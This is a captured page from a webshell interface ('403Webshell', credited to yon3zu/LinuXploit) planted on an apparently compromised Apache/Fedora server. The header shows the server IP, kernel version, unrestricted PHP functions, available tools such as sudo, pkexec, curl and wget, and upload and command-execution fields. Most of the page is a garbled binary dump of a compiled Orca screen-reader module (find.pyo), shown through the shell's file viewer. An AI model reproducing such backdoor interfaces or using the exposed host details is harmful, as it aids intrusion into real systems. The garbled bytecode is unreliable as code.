403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/orca/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/orca/find.pyo
Ñò
z#ÝJc
@sœdZdZdZdZdZdZddkZddkZddkZddk	Z	ddk
Z
ddkZddkl
Z
d	fd
„ƒYZd„ZdS(s(Provides support for a flat review find.s$Id$s
$Revision$s$Date$s-Copyright (c) 2005-2008 Sun Microsystems Inc.tLGPLiÿÿÿÿN(t_tSearchQuerycBs2eZdZd„Zd„Zd„Zd„ZRS(s3Represents a search that the user wants to perform.cCsFd|_t|_t|_t|_t|_t|_ti|_	dS(s¾Creates a new SearchQuery. A searchQuery has the following
           properties:

           searchString     - the string to find
           searchBackwards  - if true, search upward for matches
           caseSensitive    - if true, case counts
           matchEntireWord  - if true, only match on the entire string
           startAtTop       - if true, begin the search from the top of
                              the window, rather than at the current
                              location
           windowWrap       - if true, when the top/bottom edge of the
                              window is reached wrap to the bottom/top
                              and continue searching
        tN(
tsearchStringtFalsetsearchBackwardst
caseSensitivetmatchEntireWordt
windowWrapt
startAtToptdebugtLEVEL_FINESTt
debugLevel(tself((s-/usr/lib/python2.6/site-packages/orca/find.pyt__init__*s						cCsÚti|idƒti|id||i|i|i|ifƒti|idt|iƒƒti|idt|i|ii	ƒƒti|idt|i|ii	|ii
ƒƒti|idƒdS(s:Prints out the context and the string to find to debug.outs<------------------------------------------------------------s-findQuery: %s line=%d zone=%d word=%d char=%dsNumber of lines: %ds#Number of zones in current line: %ds#Number of words in current zone: %ds<==========================================================

N(RtprintlnR
t	lineIndext	zoneIndext	wordIndext	charIndextlentlinestzonestwords(Rtcontexttstring((s-/usr/lib/python2.6/site-packages/orca/find.pytdebugContextCs %c	CsádGHxÕtdt|iƒƒD]»}d|GHx©tdt|i|iƒƒD]ˆ}d|GHxvtdt|i|i|iƒƒD]N}d||i|i|i|it|i|i|i|iƒfGHqƒWqMWqWdS(s+Debug utility which prints out the context.tDUMPis	  Line %ds    Zone: %ds"      Word %d = `%s` len(word): %dN(trangeRRRRR(RRtitjtk((s-/usr/lib/python2.6/site-packages/orca/find.pytdumpContextXs	 	'cCsA|i}|i}|i}|i}ti|id||||fƒti}|i	p|ti
B}n|iod|id}n
|i}ti
||ƒ}	ti|id|i|fƒ|io'|itiiƒ|i|dƒnd}
t}t}t}
x¢|pš|itiiƒ\}}}}}ti|id|||||fƒti|	|ƒo¿|
o·x.|p¨|itiiƒ\}}}}}ti|id|||fƒti|id||fƒti|	|ƒo†|i|ii|i}||ijo
||ij}y|iiƒWnqXti|	|ƒ}g}x$|D]}|i|i dƒƒqnW|i!o|i"ƒnd}xÒ|oÅ|t#|ƒjo²|i$||ƒ\}}|o|i%|i}|i!o
|djp|i!o,|djo|i%|_d|_t&}qx|o|p|o
t&}qx|d	7}q¯Pq¯Wn|p£|i!oU|i'tiitii(ƒ}|i|d
ƒ|i)tiiƒ|i|dƒn/|i*tiitii(ƒ}|i|dƒ|pt&}
Pq+q€q€Wq|i!o2|i'tiitii(ƒ}|i|d
ƒn/|i*tiitii(ƒ}|i|dƒ|o7|i!o)|i)tiiƒ}|i|dƒq®q|i+oÇ|o¿t}
t&}|i!oEt,i-t.dƒƒ|i'tiitii/ƒ}|i|dƒnBt,i-t.dƒƒ|i*tiitii/ƒ}|i|dƒ|pti|idƒPq®qPqW|ot0i0|ƒ}
n|i|dƒ|i1||||ƒ|i|dƒ|
o3ti|id|
i|
i|
i|
ifƒn|
S(s9Performs a search on the string specified in searchQuery.

           Arguments:
           - context: The context from active script
           - justEnteredFlatReview: If true, we began the search in focus
             tracking mode.

           Returns:
           - The context of the match, if found
        s;findQuery: original context line=%d zone=%d word=%d char=%ds\bs'findQuery: startAtTop: %d  regexp: `%s`sgo begins9findQuery: current line=`%s` x=%d y=%d width=%d height=%ds'findQuery: current zone=`%s` x=%d y=%d swidth=%d height=%diis[1] go previouss
[1] go ends[1] go nexts[2] go previouss[2] go nexts
[2] go endsWrapping to Bottoms[3] go previoussWrapping to Tops[3] go nextsfindQuery: cannot wrapsbefore setting originalsafter setting originals4findQuery: returning line=%d zone=%d word=%d char=%dN(2RRRRRRR
tretLOCALERt
IGNORECASERRtcompileR
tgoBegintflat_reviewtContexttWINDOWRtNoneRt
getCurrenttLINEtsearchtZONERRt
accessiblet	queryTexttfinditertappendtstartRtreverseRtgetWordAtOffsettindextTruet
goPrevioust	WRAP_LINEtgoEndtgoNextR	tspeechtspeakRtWRAP_ALLtcopyt
setCurrent(RRtjustEnteredFlatReviewtoriginalLineIndextoriginalZoneIndextoriginalWordIndextoriginalCharIndextflagstregexptpatterntlocationtfoundt
wrappedYettdoneWithLinetcurrentLinetxtytwidththeighttcurrentZonettheZonetstartedInThisZonet
allMatchestoffsetstmRtnextInstancetoffsett
offsetDifftmoved((s-/usr/lib/python2.6/site-packages/orca/find.pyt	findQueryds					

	
$$




	



		



			
(t__name__t
__module__t__doc__RRR!R\(((s-/usr/lib/python2.6/site-packages/orca/find.pyR's
			cCstitiƒ}|S(sƒGrabs the last search query performed from orca_state.

       Returns:
       - A copy of the last search query, if it exists
    (R?t
orca_statetsearchQuery(t	lastQuery((s-/usr/lib/python2.6/site-packages/orca/find.pytgetLastQuery4s(R_t__id__t__version__t__date__t
__copyright__t__license__R?R"RR'R`R<t	orca_i18nRRRc(((s-/usr/lib/python2.6/site-packages/orca/find.pyt<module>sÿ

Youez - 2016 - github.com/yon3zu
LinuXploit